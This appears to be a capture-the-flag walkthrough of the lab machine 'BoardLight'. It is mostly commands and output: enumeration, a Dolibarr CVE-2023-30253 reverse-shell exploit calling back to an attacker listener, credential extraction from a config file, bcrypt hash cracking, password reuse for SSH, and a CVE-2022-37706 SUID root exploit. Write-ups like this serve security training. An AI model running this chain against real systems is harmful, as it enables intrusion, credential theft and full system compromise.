BoardLight

Enumeration

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.11 -oG allPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

sudo nmap -p22,80 -sCV 10.10.11.11 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn t have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u "http://10.10.11.11/FUZZ" 

.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 47ms]
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 47ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 55ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 49ms]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 52ms]
index.php               [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 47ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 50ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 50ms]

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://board.htb -H "Host: FUZZ.board.htb" -fs 15949

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 117ms]

sudo sh -c 'echo "10.10.11.11 board.htb crm.board.htb" >> /etc/hosts'

Exploitation

poc

python3 exploit.py -h                                        
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001

---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---

positional arguments:
  hostname    Target hostname
  username    Username of Dolibarr ERP/CRM
  password    Password of Dolibarr ERP/CRM
  lhost       Listening host for reverse shell
  lport       Listening port for reverse shell

options:
  -h, --help  show this help message and exit

nc -lvnp 5000

python3 exploit.py http://crm.board.htb admin admin 10.10.14.10 5000
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

nc -lvnp 5000
listening on [any] 5000 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.11] 60282
bash: cannot set terminal process group (866): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$

Post Exploitation

www-data@boardlight:/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@boardlight:/home$ ls /home
larissa

www-data@boardlight:~/html/crm.board.htb$ grep -ril "pass" ./ | grep "conf" 

./nightwatch.conf.js
./htdocs/includes/ace/src/mode-apache_conf.js
./htdocs/includes/webklex/php-imap/src/config/imap.php
./htdocs/core/class/conf.class.php
./htdocs/install/fileconf.php
./htdocs/conf/conf.php.old
./htdocs/conf/conf.php.example
./htdocs/conf/conf.php
./htdocs/eventorganization/class/conferenceorbooth.class.php
./htdocs/eventorganization/class/conferenceorboothattendee.class.php

www-data@boardlight:~/html/crm.board.htb$ cat ./htdocs/conf/conf.php

<...SNIP...>
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
$dolibarr_main_authentication='dolibarr';
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
<...SNIP...>

mysql -u dolibarrowner -p dolibarr
Enter password: serverfun2$2023!!

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+

mysql> show tables;
+-------------------------------------------------------------+
| Tables_in_dolibarr                                          |
+-------------------------------------------------------------+
| llx_user                                                    |

mysql> describe llx_user;

mysql> select login, pass_crypted from llx_user;
+----------+--------------------------------------------------------------+
| login    | pass_crypted                                                 |
+----------+--------------------------------------------------------------+
| dolibarr | $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm |
| admin    | $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)

hashid hash.txt

--File 'hash.txt'--
Analyzing '$2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 
--End of file 'hash.txt'--

hashcat -m 3200 -a 0 -d 1 hash.txt /usr/share/wordlists/rockyou.txt

$2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96:admin

larissa:serverfun2$2023!!

larissa@boardlight:~$ cat user.txt 
d3d52a4b2e7795a1a492352042889565

Privilege Escalation

https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

larissa@boardlight:~$ ./poc.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
# cat /root/root.txt
0874c2c63ac85bd4f81c12dc8748de78